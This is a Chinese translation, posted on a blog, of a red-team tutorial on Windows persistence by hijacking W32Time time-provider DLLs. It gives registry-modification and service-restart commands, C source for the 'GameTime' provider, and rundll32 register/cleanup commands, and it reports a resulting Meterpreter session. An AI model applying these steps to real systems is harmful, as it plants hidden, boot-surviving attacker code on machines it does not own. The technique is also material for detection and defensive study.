c svchost 服务 dll_Window权限维持(八):时间服务器

Windows操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的时间戳。时间提供者以DLL文件的形式实现,该文件位于System32文件夹中。Windows启动期间将启动服务W32Time并加载w32time.dll。DLL加载是一种已知的技术,通常使红队攻击者有机会执行任意代码。

由于关联的服务会在Windows启动期间自动启动,因此可以将其用作持久性机制。但是,此方法需要管理员级别的特权,因为指向时间提供者DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。根据系统是用作NTP服务器还是NTP客户端,使用以下两个注册表位置。

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpServer

W32Time将运行在Windows环境作为本地服务,它是通过svchost的执行。

2ea8696c127848f890e73a10bdf1b096.png
W32Time服务

恶意DLL已放入磁盘中,将执行有效负载。在命令提示符下,可以通过执行以下命令以指向任意DLL的位置来修改时间提供者注册表项。

reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient" /v DllName /t REG_SZ /d "C:tempw32time.dll"

6bdedd93223bbf66935ce47ff9ec7dca.png
时间提供者–注册表项修改

从注册表编辑器中查看注册表将确认DllName的值已更新。

f9877606f2c317fb14dbe3b9ca6b35e1.png
时间提供者–恶意DLL

该服务将在Windows启动期间启动,或者通过执行以下命令手动启动。

sc.exe stop w32time
sc.exe start w32time

a45594b76fc65b83e1515745dc4b1932.png
时间提供者–重新启动服务

将执行任意有效负载,并建立Meterpreter会话。

7004847728844386e9dee53c8a4efd3a.png
时间提供者– Meterpreter

修改Windows时间提供程序可能会向SOC团队发出警报。来自Carbon Black的Scott Lundgren在C中开发了一种称为gametime的时间提供程序。可以使用此DLL来向操作系统注册新的时间提供者,并在其他注册表项中执行修改。这样可以避免滥用现有的Windows时间提供程序,而该时间提供程序可以由SOC监视。Rundll32可用于注册DLL。

Scott Lundgren使用了要在系统上创建的注册表项“ GameTime”。

#define GAMETIME_SVC_KEY_NAME   L"SystemCurrentControlSetServicesW32TimeTimeProvidersGameTime"

32a25fd457c48622a59998e57851ff71.png
时间提供者– GameTime注册表项

根据Microsoft 文档,时间提供者必须实现以下回调函数。

  • TimeProvOpen
  • TimeProvCommand
  • TimeProvClose

TimeProvOpen用于返回提供者句柄,TimeProvCommand用于将命令发送到时间提供者,而TimeProvClose用于关闭时间提供者。

HRESULT __stdcall TimeProvOpen(
    _In_  WCHAR                *wszName,
    _In_  TimeProvSysCallbacks *pSysCallbacks,
    _Out_ TimeProvHandle       *phTimeProv
)
{
    UNREFERENCED_PARAMETER(pSysCallbacks);
    UNREFERENCED_PARAMETER(phTimeProv);

    OutputDebugStringW(wszName);

    return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}

/*
 *
 */
HRESULT __stdcall TimeProvCommand(
    _In_ TimeProvHandle hTimeProv,
    _In_ TimeProvCmd    eCmd,
    _In_ PVOID          pvArgs
)
{
    UNREFERENCED_PARAMETER(hTimeProv);
    UNREFERENCED_PARAMETER(eCmd);
    UNREFERENCED_PARAMETER(pvArgs);

    return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}

/*
 *
 */
HRESULT __stdcall TimeProvClose(
    _In_ TimeProvHandle hTimeProv
)
{
    UNREFERENCED_PARAMETER(hTimeProv);

    return (S_OK);
}

6b2cac38f9ae27ced1327dc854e612e1.png
时间提供者–回调功能

GameTime提供程序将在系统上填充以下注册表项,因为它们是Microsoft时间提供程序规范的一部分。

  • DllName,
  • Enabled
  • InputProvider

DLLNAME指示包含供应商,该DLL的名称启用使然是否提供商应在系统启动过程中启动。值“ 1”启动系统的提供者,而InputProvider指示提供者是输入还是输出。注册表值“ 1”表示已输入提供者。这些在下面的代码中指定:

nRet = RegSetValueExW(hkTimeProvider,
                      L"DllName",
                      0,
                      REG_SZ,
                      (LPBYTE)g_wzModule,
                      (DWORD)wcslen(g_wzModule)*sizeof(WCHAR)+sizeof(WCHAR));
if (ERROR_SUCCESS != nRet)
{
    OutputError(L"RegCreateKeyExW failed", nRet);
    goto ErrorExit;
}

nRet = RegSetValueExW(hkTimeProvider,
                      L"Enabled",
                      0,
                      REG_DWORD,
                      (LPBYTE)&dwOne,
                      sizeof(dwOne));
if (ERROR_SUCCESS != nRet)
{
    OutputError(L"RegCreateKeyExW failed", nRet);
    goto ErrorExit;
}

nRet = RegSetValueExW(hkTimeProvider,
                      L"InputProvider",
                      0,
                      REG_DWORD,
                      (LPBYTE)&dwOne,
                      sizeof(dwOne));
if (ERROR_SUCCESS != nRet)
{
    OutputError(L"RegCreateKeyExW failed", nRet);
    goto ErrorExit;
}

af64fe967a9d8b35ed4d345332d7d7f1.png
时间提供者–注册表项值

该代码还使用Deregister回调函数从系统中删除创建的注册表项GameTime,作为清理过程。

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersGameTime
void CALLBACK Deregister(
    _In_ HWND hWnd,
    _In_ HINSTANCE hInst,
    _In_ LPSTR pwzCmdLine,
    _In_ int nCmdShow)
{
    long    nRet;

    UNREFERENCED_PARAMETER(hWnd);
    UNREFERENCED_PARAMETER(hInst);
    UNREFERENCED_PARAMETER(pwzCmdLine);
    UNREFERENCED_PARAMETER(nCmdShow);

    OutputDebugStringW(L"Unregistern");

    nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME);
    if (ERROR_SUCCESS != nRet)
    {
        OutputError(L"RegDeleteKeyW failed!", nRet);
        goto ErrorExit;
    }

ErrorExit:

    return;
}

b6635b44228f0113ef8b59be8a2d3088.png
注销回调功能

实际上,可以使用rundll32向系统注册DLL,以便创建关联的注册表项,默认情况下,该注册表项将与系统一起启用新的时间提供程序。

rundll32.exe gametime.dll,Register

aa622700278a52e3ddf69c427a6e7474.png
注册新的时间提供者

将创建注册表项GameTime,并且DllName将包含DLL的路径。

0f3d4edabbead19380a13f98cc46ac0b.png
新时间提供商注册表项
新时间提供商注册表项

再次修改注册表以包含任意DLL,将在服务重新启动期间执行类似于Windows时间提供程序的代码。

3bb47ac48034a1956cc0a312cc700588.png
新时间提供商注册表项修改

注销功能可用于删除所有相关联的密钥和系统上进行清理。

rundll32.exe gametime.dll,Deregister

b2745f626e450d56bcd8bc874aa75d65.png
取消注册新时间提供商
译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。
原文地址: https:// pentestlab.blog/2019/10 /22/persistence-time-providers/
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值